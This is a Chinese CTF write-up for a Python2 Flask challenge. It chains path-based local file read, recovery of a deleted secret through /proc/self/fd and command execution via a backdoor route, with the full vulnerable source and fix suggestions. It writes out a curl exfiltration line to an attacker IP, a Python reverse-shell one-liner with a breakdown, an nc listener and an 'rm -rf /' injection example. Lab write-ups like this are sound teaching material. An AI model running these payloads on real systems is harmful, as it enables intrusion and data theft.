题目背景与知识点
-
技术栈
- Python-Flask 框架审计:题目基于 Flask 框架实现,存在路由逻辑漏洞。
- Linux 特殊文件:利用
/proc
文件系统获取已删除文件内容(如文件描述符/proc/self/fd/[num]
)。 - 命令注入与反弹 Shell:通过泄露的密钥触发系统命令执行。
-
核心知识点
- 文件描述符泄漏:已删除但未关闭的文件可通过
/proc/self/fd
访问。 - Python2 的
urllib
特性:urllib.urlopen
支持直接读取本地文件路径。 - 非预期解与预期解:通过路径读取绕过过滤或利用文件描述符泄露密钥。
- 文件描述符泄漏:已删除但未关闭的文件可通过
解题流程
1. 信息收集
-
初始页面分析
访问页面后,发现存在参数url
,尝试提交 URL 地址。通过抓包或查看源码,确认服务端使用 Python 的urllib
库处理请求。
关键点:若提交域名无响应,推测服务端不支持 HTTP 协议直接访问,需尝试本地文件读取。 -
尝试文件协议读取
输入file:///etc/passwd
,HACK ERROR!
,被拦截,说明过滤了file
协议。 -
尝试路径绕过
输入../../../../etc/passwd
,自动下载了一张图片,以图片打开显示已损坏,记事本打开,读取信息,说明可以通过文本格式正常显示文件
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh
- 尝试直接读取
flag
(非预期解)
输入../../../../flag
,没想到直接出来了
flag{16618dd6-9b5f-41e9-bd1d-3d817c96d426}
2. 本地文件路径利用
-
利用 Python2
urllib
特性
Python2 的urllib.urlopen
支持直接输入文件路径(如/etc/passwd
),无需file://
前缀。通过提交路径/proc/self/cmdline
确认应用为 Python 进程,并获取启动命令/usr/bin/python /app/app.py
,确定工作目录为/app
。 -
读取应用源码
通过路径/app/app.py
获取 Flask 代码(篇幅问题完整代码和解析放在文章结尾),关键逻辑如下:SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) # 文件被删除但未关闭
注意点:
SECRET_KEY
是访问/no_one_know_the_manager
路由的必要条件,但文件已被删除。
3. 泄露 SECRET_KEY
- 通过文件描述符恢复文件
由于文件被删除但未关闭,可通过/proc/self/fd/[num]
读取内容。遍历文件描述符(通常fd/3
为第一个打开的文件):
读取?url=/proc/self/fd/3
/tmp/secret.txt
内容,得到SECRET_KEY
(如2e3658a3c99be231c2b3b0cc260528c4
)。
4. 命令执行与 Flag 获取
-
触发命令注入
访问路由/no_one_know_the_manager
,传入key
和shell
参数:/no_one_know_the_manager?key=2e3658a3c99be231c2b3b0cc260528c4&shell=命令
注意点:
key
需与泄露的SECRET_KEY
完全匹配,且shell
参数需 URL 编码。 -
数据外带与反弹 Shell
- 法一:外带数据:通过
curl
将命令结果发送到远程服务器:&shell=curl http://IP:PORT/$(cat /flag|base64)
- 法二:反弹 Shell(推荐):使用 Python 反弹 Shell:
&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- 代码结构解析:
python -c ' import socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("IP", PORT)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p = subprocess.call(["/bin/sh", "-i"]); '
关键点:服务器需开启监听(
nc -lvvp PORT
),最终在根目录/flag
或/root/flag.txt
获取 Flag。 - 法一:外带数据:通过
注意事项与细节
- 文件描述符遍历:若
fd/3
无效,需尝试fd/0
-fd/5
,结合报错信息判断。 - 编码问题:
SECRET_KEY
中的+
需 URL 编码为%2B
,否则可能解析错误。 - 非预期解:直接读取
/proc/self/cwd/app.py
获取源码(若环境未限制)。 - 反弹 Shell 稳定性:部分环境可能禁用反向连接,需尝试多种 Payload(如
bash -i
或nc
)。
1. 如何确认服务端使用 Python 的 urllib
库处理请求?
测试方法与观察点:
-
行为验证
提交url=/etc/passwd
(无需file://
前缀),若成功读取本地文件,则表明服务端可能使用 Python2 的urllib.urlopen
。
原理:Python2 的urllib
允许直接输入文件路径(视为本地文件),而 Python3 的urllib.request
必须显式使用file://
协议。 -
错误信息泄露
提交非法协议(如xxx://
)或特殊字符(如空格),若返回urllib
相关错误(如No handler for xxx
),则直接暴露库信息。
示例:
# Python2 示例代码(直接读取文件)
import urllib
content = urllib.urlopen("/etc/passwd").read()
2. 如何确认题目基于 Flask 框架?
特征与验证方法:
-
默认路由与响应头
访问不存在的路由(如/abcdefg
,在本题中可以?),观察是否返回 Flask 的默认 404 页面(包含提示Not Found
或The requested URL was not found on the server
)。
响应头特征:检查 HTTP 响应头中的Server
字段是否为Werkzeug
(Flask 的默认开发服务器)。 -
读取应用源码
通过文件读取漏洞获取/app/app.py
,若发现代码中存在Flask
导入和路由装饰器(如@app.route
),则可确认。
示例代码片段:
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return "Hello World!"
3. /proc
文件系统是什么?
核心概念:
-
Linux 虚拟文件系统
/proc
是 Linux 内核提供的虚拟文件系统,以文件形式暴露进程和系统信息(如 CPU、内存、运行中的进程等)。
动态性:文件内容动态生成,不占用磁盘空间。 -
关键目录与文件
/proc/self
:指向当前进程的目录(等价于/proc/<PID>
)。/proc/sys
:内核参数配置(需 root 权限修改)。/proc/net
:网络连接和统计信息。
4. /proc/self/cmdline
与 /proc/self/environ
的作用
详细说明:
-
/proc/self/cmdline
- 内容:进程启动时的完整命令行参数(以
\0
分隔)。 - 用途:获取应用启动命令(如
python /app/app.py
),确定工作目录和关键文件路径。
- 内容:进程启动时的完整命令行参数(以
-
/proc/self/environ
- 内容:进程的环境变量(以
\0
分隔),可能包含敏感信息:SECRET_KEY
:Flapp 应用的加密密钥。PATH
:系统路径配置。FLASK_DEBUG
:调试模式标志。
- 用途:泄露配置、密钥或调试信息。
- 内容:进程的环境变量(以
示例:
# 读取 cmdline(结果:/usr/bin/python\0/app/app.py)
curl "http://target/?url=/proc/self/cmdline"
# 读取 environ(结果:SECRET_KEY=xxx\0PATH=/usr/bin\0...)
curl "http://target/?url=/proc/self/environ"
5. 其他敏感文件(类似 /proc/self/cmdline
和 /proc/self/environ
)
关键文件列表:
文件路径 | 作用 |
---|---|
/proc/self/exe | 进程对应的可执行文件(符号链接) |
/proc/self/cwd | 进程的当前工作目录(符号链接) |
/proc/self/fd/[num] | 进程打开的文件描述符(如已删除文件) |
/proc/self/maps | 进程的内存映射信息(泄露库路径) |
/proc/version | 系统内核版本信息 |
利用场景:
/proc/self/cwd/app.py
:若进程工作目录为/app
,可直接读取源码。/proc/self/maps
:查找动态链接库路径(如libc.so
),辅助漏洞利用。
6. 如何确定服务端使用 Python2?
判断依据:
-
语法特性
print
语句:若源码中存在print "Hello"
(无括号),则为 Python2。- 模块导入差异:Python2 使用
urllib2
或urllib
,Python3 使用urllib.request
。
-
错误信息特征
- 异常类型:Python2 的
urllib
抛出IOError
,Python3 抛出FileNotFoundError
。 - 错误字符串:Python2 的
urlopen
错误信息可能包含'file://'
提示。
- 异常类型:Python2 的
-
文件描述符行为
Python2 的某些文件操作(如未关闭的文件句柄)在/proc/self/fd
中表现更易预测。
示例:
# Python2 的 urllib 特性(直接读取文件)
urllib.urlopen("/etc/passwd")
# Python3 必须使用 file:// 协议
urllib.request.urlopen("file:///etc/passwd")
7. /proc/self/fd/[num]解析
1. /proc/self/fd/1
:标准输出(STDOUT)
-
功能:
代表进程的标准输出,默认指向终端(控制台)。例如,echo "Hello"
的输出会通过文件描述符 1 显示在屏幕上。 -
符号链接:
通常指向/dev/pts/[N]
(终端设备)或/dev/null
(若输出被重定向到黑洞)。 -
操作示例:
# 将标准输出重定向到文件(等同于 > file) echo "test" > /proc/self/fd/1
2. /proc/self/fd/2
:标准错误(STDERR)
-
功能:
代表进程的标准错误输出,默认同样指向终端。例如,执行无效命令时的错误信息(如ls invalid_file
)会通过描述符 2 显示。 -
重定向示例:
# 将错误输出重定向到黑洞(丢弃错误信息) ls invalid_file 2> /proc/self/fd/2 # 等同于 2>/dev/null
``
-
与标准输出的区别:
标准输出和错误输出分开处理,便于区分正常日志与错误信息。
3. /proc/self/fd/3
:进程打开的额外文件或资源
- 功能:
文件描述符 3 及以上是进程动态分配的,用于访问临时文件、套接字、管道等资源。例如:- 程序通过
open()
或socket()
打开文件或网络连接时,可能分配描述符 3。 - 自动补全功能:某些工具(如 Bash 的 Tab 补全)会临时打开文件,生成描述符 3,但该描述符可能仅在父进程中可见,子进程(如
ls
)无法看到 。
- 程序通过
- 示例场景:
此时# 打开文件并分配描述符 3 exec 3> temp.txt echo "write via fd3" >&3
/proc/self/fd/3
会指向temp.txt
。 - 调试意义:
通过检查/proc/[PID]/fd/3
可追踪进程打开的具体资源。
总结与扩展
文件描述符 | 默认指向 | 典型用途 | 可见性 |
---|---|---|---|
0 | 终端输入(键盘) | 读取用户输入 | 所有进程 |
1 | 终端输出(屏幕) | 输出正常日志 | 所有进程 |
2 | 终端输出(屏幕) | 输出错误信息 | 所有进程 |
3+ | 动态分配资源 | 文件、套接字、管道等临时操作 | 依赖进程上下文 |
8. 路由(Route)
在 Web 开发框架(如 Flask)中,路由(Route) 是一个核心概念,用于 将特定的 URL 路径与后端处理逻辑绑定。在您提供的代码中,路由通过 @app.route()
装饰器定义,以下是具体解析:
一、路由的作用
-
URL 映射
路由定义了当用户访问某个 URL 路径时,服务器应执行哪个函数来处理请求。例如:- 访问
http://example.com/
→ 触发index()
函数,返回搜索页面。 - 访问
http://example.com/page
→ 触发page()
函数,处理 URL 参数并返回响应。
- 访问
-
HTTP 方法控制
路由可以指定允许的 HTTP 方法(如GET
、POST
)。默认仅允许GET
,但可显式声明:@app.route('/submit', methods=['POST']) # 仅接受POST请求
-
动态路径参数
路由支持从 URL 中提取变量(如用户 ID):@app.route('/user/<username>') # 示例:访问 /user/alice 会提取 username='alice'
二、代码中的路由详解
1. 首页路由 /
@app.route('/')
def index():
return render_template('search.html')
- 功能:当用户访问根路径
/
时,渲染search.html
模板(一个搜索页面)。 - 特点:无参数处理,直接返回静态页面。
2. 核心功能路由 /page
@app.route('/page')
def page():
url = request.args.get("url") # 获取GET参数url的值 # ...(处理逻辑)
- 功能:处理用户通过 GET 请求传递的
url
参数(如http://example.com/page?url=xxx
)。 - 漏洞点:
- 未严格过滤
url
参数,允许任意文件读取(如url=/etc/passwd
)。 - 使用 Python2 的
urllib.urlopen()
,可读取本地文件或发起网络请求。
- 未严格过滤
3. 后门路由 /no_one_know_the_manager
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key") # 获取密钥参数 # ...(密钥校验与命令执行)
- 功能:通过 GET 参数
key
和shell
实现后门命令执行(如http://example.com/no_one_know_the_manager?key=xxx&shell=ls
)。 - 漏洞点:
- 密钥
SECRET_KEY
通过/proc/self/fd/N
可恢复(因文件句柄未关闭)。 - 直接使用
os.system(shell)
执行任意系统命令,存在高危命令注入风险。
- 密钥
三、路由与网络安全
-
路由暴露风险
- 示例中的后门路由
/no_one_know_the_manager
是一个隐蔽入口,攻击者可通过路径猜测或目录爆破发现。 - 建议:避免使用易猜测的路由名称,并对敏感操作添加身份验证。
- 示例中的后门路由
-
参数过滤缺失
/page
路由未对url
参数做严格过滤,允许file://
协议读取本地文件(如url=file:///etc/passwd
)。- 修复建议:使用白名单校验协议(如仅允许
http://
或https://
)。
-
命令注入风险
/no_one_know_the_manager
路由直接拼接shell
参数到系统命令,攻击者可注入; rm -rf /
等恶意指令。- 修复建议:使用
subprocess
模块并转义参数,或完全禁止动态命令执行。
四、总结
路由路径 | 功能 | 安全风险等级 |
---|---|---|
/ | 返回搜索页面 | 低 |
/page | 处理URL参数并返回内容 | 高(任意文件读取) |
/no_one_know_the_manager | 后门命令执行 | 严重(RCE) |
9.app.py
详细分析
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
以下是代码的逐行解释:
# 导入 Flask 框架相关模块
from flask import Flask, Response # Response 用于构建HTTP响应对象
from flask import render_template # 渲染HTML模板
from flask import request # 处理HTTP请求参数
import os # 系统操作(如文件删除)
import urllib # Python2的URL处理库(关键漏洞点)
app = Flask(__name__) # 创建Flask应用实例
# 密钥处理部分(核心漏洞点)
SECRET_FILE = "/tmp/secret.txt" # 定义密钥文件路径
f = open(SECRET_FILE) # 打开密钥文件(文件描述符保持打开状态)
SECRET_KEY = f.read().strip() # 读取文件内容并去除空白字符
os.remove(SECRET_FILE) # 删除文件(但未关闭文件句柄!可通过/proc恢复内容)
# 定义路由:首页(渲染搜索页面)
@app.route('/')
def index():
return render_template('search.html') # 返回HTML模板search.html
# 定义路由:/page(核心功能路由)
@app.route('/page')
def page():
url = request.args.get("url") # 获取GET参数url的值
try:
# 漏洞点1:检查逻辑不严谨(仅检查小写"file"开头)
if not url.lower().startswith("file"):
# 漏洞点2:直接使用urllib.urlopen读取任意路径/Python2特性
res = urllib.urlopen(url) # 打开URL/文件路径
value = res.read() # 读取内容
# 构造响应:强制下载文件(伪装成图片)
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!" # 拦截包含"file"协议的请求
except:
value = "SOMETHING WRONG!" # 异常处理(信息泄露风险低)
return render_template('search.html', res=value) # 渲染结果到模板
# 定义路由:/no_one_know_the_manager(后门路由)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key") # 获取密钥参数
print(SECRET_KEY) # 在控制台打印密钥(调试用,无网页输出)
# 漏洞点3:密钥校验后直接执行系统命令
if key == SECRET_KEY:
shell = request.args.get("shell") # 获取要执行的命令
os.system(shell) # 执行系统命令(高危命令注入!)
res = "ok" # 返回执行结果
else:
res = "Wrong Key!" # 密钥错误提示
return res
# 启动Flask应用
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080) # 监听所有IP的8080端口
关键漏洞与攻击面分析
-
urllib.urlopen
本地文件读取- 漏洞代码:
res = urllib.urlopen(url)
- 利用方式:Python2 的
urllib
允许直接输入文件路径(如/etc/passwd
),无需file://
协议,绕过了startswith("file")
的检查。
- 漏洞代码:
-
未关闭的文件描述符
- 漏洞代码:
f = open(SECRET_FILE)
后未执行f.close()
- 利用方式:通过
/proc/self/fd/3
(假设fd=3)读取已删除的/tmp/secret.txt
内容。
- 漏洞代码:
-
命令注入
- 漏洞代码:
os.system(shell)
- 触发条件:需先通过文件描述符泄露获取
SECRET_KEY
,再传递key
和shell
参数执行任意命令。
- 漏洞代码:
代码中需注意的防御缺陷
-
协议检查不严谨
if not url.lower().startswith("file"): # 可被 "FILE"、"File" 或非协议路径绕过
改进建议:使用正则表达式严格校验协议头。
-
未关闭文件句柄
f = open(SECRET_FILE) # 缺少 f.close()
改进建议:使用
with open(...) as f
自动关闭文件。 -
直接执行系统命令
os.system(shell) # 无任何过滤
改进建议:禁止直接执行用户输入,或使用白名单限制命令类型。
10.反弹 Shell解析
这是一段通过 Python 实现的反向 Shell(反弹 Shell)代码,核心目的是让目标机器主动连接攻击者控制的服务器,并提供一个交互式 Shell 会话。以下是分步解析:
代码结构分解
python -c '
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("IP", PORT)); # 替换代码中的 `IP` 和 `PORT` 为攻击者服务器的地址
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
'
逐行解析
1. 导入模块
import socket, subprocess, os;
socket
:用于创建网络连接(TCP/UDP)。subprocess
:用于启动子进程(如 Shell)。os
:用于操作系统级操作(如文件描述符重定向)。
2. 创建 Socket 对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
socket.AF_INET
:指定使用 IPv4 协议。socket.SOCK_STREAM
:指定使用 TCP 协议(可靠、面向连接)。
3. 连接到攻击者的监听服务器
s.connect(("IP", PORT));
IP
:攻击者控制的服务器 IP 地址(需替换为实际值)。PORT
:攻击者监听的端口号(需替换为实际值)。- 作用:目标机器主动向攻击者的服务器发起 TCP 连接。
4. 重定向标准输入/输出/错误
os.dup2(s.fileno(), 0); # 标准输入(stdin)
os.dup2(s.fileno(), 1); # 标准输出(stdout)
os.dup2(s.fileno(), 2); # 标准错误(stderr)
os.dup2(old_fd, new_fd)
:将old_fd
的文件描述符复制到new_fd
。s.fileno()
:获取 Socket 的文件描述符(整数)。- 作用:将 Shell 的输入、输出、错误流全部绑定到 Socket,实现与攻击者服务器的交互。
5. 启动交互式 Shell
p = subprocess.call(["/bin/sh", "-i"]);
subprocess.call
:执行命令并等待其完成。/bin/sh -i
:启动一个交互式 Shell(-i
表示交互模式)。- 作用:在目标机器上启动 Shell,其输入输出通过 Socket 传输。
注意事项
-
依赖 Python 环境
目标机器需安装 Python 环境(Python2 或 Python3 均可运行此代码)。 -
防火墙与出站限制
目标机器需允许向攻击者 IP 的指定端口发起出站 TCP 连接。 -
命令编码与转义
若通过 URL 参数传递此代码,需对特殊字符(如空格、引号)进行 URL 编码:shell=python -c 'import%20socket...'
-
隐蔽性问题
长时间运行的 Shell 可能被安全监控工具发现,建议使用加密通信或短连接。